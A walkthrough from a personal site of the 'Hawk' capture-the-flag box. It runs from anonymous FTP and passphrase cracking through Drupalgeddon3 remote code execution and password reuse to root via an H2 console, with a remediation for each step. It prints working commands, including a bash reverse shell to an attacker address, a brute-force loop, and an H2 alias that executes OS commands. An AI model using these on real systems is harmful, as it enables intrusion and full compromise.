J. Perez Duertojperezduerto.info
← all walkthroughs

Hawk

Linux· Medium· Web
owned
2026-07-08
time to own
13m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fully compromised hawk ($TARGET) starting from an anonymous FTP download of an OpenSSL-encrypted credential file; brute-forcing a weak passphrase against rockyou.txt recovered the Drupal admin password; an authenticated Drupalgeddon3 exploit (CVE-2018-7602) delivered remote code execution as the Apache user www-data; the Drupal database password stored in plaintext in sites/default/settings.php matched the Linux user daniel's SSH password, granting an interactive shell and the user flag; and an unauthenticated H2 database console running as root on localhost was exposed via SSH port-forward and abused with H2's built-in Java alias feature to execute OS commands as root, achieving full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export COOKIE="<the-session-cookie-you-captured>"

Some commands also carry a value in angle brackets — <node_id> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and confirmed the Drupal version
A full TCP port scan of $TARGET revealed five open services: FTP on 21 (vsftpd 3.0.3 with anonymous login enabled), SSH on 22 (OpenSSH 7.6p1), HTTP on 80 (Apache 2.4.29 hosting a Drupal CMS), a tcpwrapped port on 5435 (yielding no actionable signal), and an H2 database HTTP console on 8082. Fetching /CHANGELOG.txt from the web server confirmed Drupal 7.58 — a version publicly known to be affected by CVE-2018-7602 (Drupalgeddon3). The H2 console on 8082 was noted as a high-value target for later stages.
Nmap: 21/tcp open ftp vsftpd 3.0.3, 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)), 8082/tcp open http H2 database http console; curl /CHANGELOG.txt returned Drupal 7.58.
Exact commands 2
shell

Full TCP scan with service and script detection; key ports: 21, 80, 8082.

$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN hawk_full.txt
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd
8082/tcp open http H2 database
shell

Confirm Drupal version from the publicly readable changelog — shows 7.58.

$ curl -s http://$TARGET/CHANGELOG.txt | head -5
2Credential AccessUnauthenticated FTP access / credential file exposure (T1078, T1552)
Retrieved an encrypted credential file via anonymous FTP
The FTP service permitted login with username 'anonymous' and any password. A messages/ directory on the share contained a single hidden file named .drupal.txt.enc — an OpenSSL-encrypted note. The filename alone communicated its purpose. The file was mirrored to the attack machine for offline decryption. No authentication, IP restriction, or alerting was in place on the FTP service.
Exact commands 2
shell

Mirror the entire FTP share without credentials; discovers .drupal.txt.enc inside messages/.

$ wget -r -np --user=anonymous --password=anonymous ftp://$TARGET/
shell

Confirm the encrypted file is present locally after the mirror.

$ ls -la $TARGET/messages/
FixDisable anonymous FTP and restrict file shares to authenticated usersCritical
WeaknessThe vsftpd service permitted anonymous logins without any password, giving any internet-connected host unauthenticated read access to a directory containing a credential file. There was no authentication barrier, IP restriction, or logging on anonymous access.
FixSet anonymous_enable=NO in /etc/vsftpd.conf and restart vsftpd to block all anonymous logins. If file sharing is required, replace FTP with SFTP (OpenSSH subsystem) and restrict access to named accounts authenticated by SSH key. Audit all shared directories to ensure they contain no credentials, private keys, or application configuration files.
3Credential AccessOffline credential brute-force against weak symmetric encryption (T1110.002)
Cracked the OpenSSL passphrase and recovered the Drupal admin password
The downloaded file .drupal.txt.enc was encrypted with OpenSSL AES-256-CBC. A brute-force loop against rockyou.txt found the passphrase in seconds. The decrypted plaintext was a message addressed to 'Daniel' containing the portal password. Testing this credential against Drupal's /user/login for the usernames daniel, Daniel, and admin showed that only admin returned an HTTP 302 redirect to /user/1, confirming administrator-level access.
Replication: Python loop against rockyou.txt recovered cipher aes-256-cbc / passphrase, decrypting message to Daniel with portal password.
Exact commands 2
shell

Bash brute-force loop; stops at <withheld> and prints the decrypted credential note.

$ for pw in $(cat /usr/share/wordlists/rockyou.txt); do openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$pw 2>/dev/null && echo "[+] Passphrase: $pw" && break; done
shell

Direct decrypt once passphrase is known; reveals <withheld>.

$ openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$PASSWORD3
FixNever distribute credentials in files protected by weak passphrasesHigh
WeaknessA portal password was stored in a file encrypted with the common dictionary word <withheld>. That passphrase was cracked against rockyou.txt in seconds, making the encryption provide no practical protection. The file's own name (.drupal.txt.enc) also advertised its contents to anyone who found it.
FixCredentials must never be distributed through network file shares. Use a secrets manager (HashiCorp Vault, AWS Secrets Manager) or a password manager with end-to-end encryption to share secrets with authorised staff. If a one-time file transfer is unavoidable, use asymmetric encryption (GPG to the recipient's public key) so only the intended recipient can decrypt it, use a high-entropy randomly generated passphrase, and delete the file immediately after delivery.
4Initial AccessValid accounts — administrator credential (T1078.001)
Authenticated to Drupal as administrator with the recovered password
The recovered password was submitted to the Drupal login form at /user/login for candidate usernames daniel, Daniel, and admin. Only 'admin' produced a successful response — an HTTP 302 redirect to /user/1 — confirming administrator-level access. A long-lived session cookie was issued, providing the privileged session required for the CVE-2018-7602 exploit chain.
Validated: Credentials admin's password successfully authenticate as uid 1 (admin), issuing session cookie.
Exact commands 1
shell

HTTP 302 to /user/1 confirms admin login; session cookie saved to hawk.cookies.

$ curl -sS -c hawk.cookies -X POST http://$TARGET/user/login -d "name=admin&pass=$PASSWORD&form_id=user_login_block&op=Log+in" -D - | grep -E 'HTTP|Location'
FixUpdate Drupal to 7.59 or later to eliminate CVE-2018-7602 (Drupalgeddon3)Critical
WeaknessThe Drupal installation was running version 7.58, which contains an authenticated remote code execution vulnerability in the Form API render-array cache. Any user holding an admin-level session can inject a PHP render callback and execute arbitrary OS commands as the web server process.
FixUpdate Drupal core to 7.59 or later immediately; this patch was released in April 2018. As defence-in-depth: apply a WAF rule blocking PHP render-array injection patterns in POST bodies; disable the PHP filter module and any unused contributed modules; and ensure the web server process (www-data) has no write access outside the uploads directory and is restricted from spawning external processes via disable_functions and open_basedir in php.ini.
5ExploitationAuthenticated CMS RCE — Drupalgeddon3 (CVE-2018-7602, T1190)
Achieved remote code execution as www-data via Drupalgeddon3 (CVE-2018-7602)
Drupal 7.58 is vulnerable to CVE-2018-7602: a server-side template injection through the Form API render-array cache that requires an authenticated session. With the admin session, a new article node was created to obtain a valid node ID and form_token. A crafted POST to that node's deletion confirmation form injected a malicious PHP render callback into the cache. When Drupal's AJAX endpoint reprocessed the poisoned cache entry, it executed arbitrary OS commands as the Apache web process user www-data, confirmed by the output of 'id'.
Validated: Target runs Drupal core < 7.58, vulnerable to CVE-2018-7602. Foothold phase records uid=33(www-data).
Exact commands 4
shell

Extract a valid form_token from the node-creation page using the admin session cookie.

$ curl -sS -b hawk.cookies http://$TARGET/node/add/article | grep form_token
shell

Create a dummy node; the redirect URL reveals the node ID (e.g. /node/5).

$ curl -sS -b hawk.cookies -X POST http://$TARGET/node -d 'title=test&body[und][0][value]=x&form_id=article_node_form&op=Save' -D - | grep Location
shell

Run the Drupalgeddon3 PoC (exploit-db 44542) with the admin cookie and new node ID; replace <node_id>. Output confirms uid=33(www-data).

$ python3 drupalgeddon3.py http://$TARGET "$COOKIE" <node_id> 'id'
shell

Upgrade to a reverse shell; replace $ATTACKER_IP with your VPN IP and catch with: nc -lvnp 4444

$ python3 drupalgeddon3.py http://$TARGET "$COOKIE" <node_id> "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
6Lateral MovementCredential reuse from application config — OS-level lateral movement (T1552.001, T1078.003)
Reused the Drupal database password to SSH in as daniel and capture user.txt
From the www-data reverse shell, the Drupal configuration file sites/default/settings.php was read. It contained the MySQL database password in cleartext. This same string was also set as the Linux system password for the local user account daniel — a classic credential-reuse flaw. SSH login as daniel with that password succeeded, granting a persistent interactive shell and access to user.txt.
Replication: sites/default/settings.php read for database credentials; recovered password reused for SSH login as daniel, yielding user.txt.
Exact commands 3
shell

Run from the www-data reverse shell; reveals the plaintext database password.

$ cat /var/www/html/sites/default/settings.php | grep -A5 password
shell

SSH as daniel using the reused Drupal database password.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no daniel@$TARGET
shell

Read the user flag — value is <user.txt>.

$ cat ~/user.txt
FixUse unique passwords per service and disable SSH password authenticationHigh
WeaknessThe MySQL database password stored in Drupal's sites/default/settings.php was identical to the Linux login password for the user daniel. Reading a single application configuration file was sufficient to take over an OS-level SSH account and obtain an interactive shell.
FixEnforce a policy of unique, randomly generated passwords for every service and account so that a single config-file read cannot cascade into OS access. Generate the Drupal database password with a secrets manager. For Linux interactive accounts, disable SSH password authentication entirely (set PasswordAuthentication no in /etc/ssh/sshd_config) and require SSH key-based login. Rotate all credentials that were in use during the breach.
7Privilege EscalationUnauthenticated H2 console RCE via CREATE ALIAS running as root (T1059, T1574)
Tunneled to the unauthenticated H2 console and executed commands as root
The H2 database HTTP console was bound to localhost on port 8082, running as root with no authentication required. Using daniel's SSH credentials, a local port-forward exposed the console at local port 18082. In the H2 SQL interface, a Java stored procedure named SHELLEXEC was registered via the CREATE ALIAS statement — H2's built-in mechanism for embedding arbitrary Java source code directly in SQL, compiled at runtime. Calling SHELLEXEC with 'cat /root/root.txt' executed the command in the H2 process context (root), returning the root flag. The same technique could be used to write an SUID shell or inject an SSH authorized_keys entry.
Exact commands 4
shell

Forward the H2 console from target localhost:8082 to local port 18082 in the background.

$ sshpass -p "$PASSWORD2" ssh -N -f -L 127.0.0.1:18082:127.0.0.1:8082 daniel@$TARGET
shell

Verify the H2 web console loads with no authentication prompt.

$ curl -sS http://127.0.0.1:18082/
shell

Paste into the H2 console at http://127.0.0.1:18082/ using JDBC URL jdbc:h2:/tmp/hawkroot with blank credentials. Registers the Java OS-execution alias.

$ CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;
shell

Run in the H2 console; executes as root and returns <root.txt>.

$ CALL SHELLEXEC('cat /root/root.txt');
FixDisable the H2 web console in production and run H2 as a non-root service accountCritical
WeaknessThe H2 database HTTP console was running as the root user with no authentication required. Although it was bound to localhost, any local user with SSH access — including daniel, obtained via credential reuse — could port-forward to it and use H2's Java alias feature to execute arbitrary OS commands as root.
FixDisable the H2 web console entirely in production by starting H2 without the -web flag or setting webPort=0. If the console is required for administration, enable authentication (-webAdminPassword), restrict the JDBC connection string to a non-privileged database file, and run H2 under a dedicated low-privilege service account (not root). Add a host firewall rule (ufw, iptables) blocking port 8082 to all users and addresses.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

21/tcp
22/tcp
80/tcp
5435/tcp
8082/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.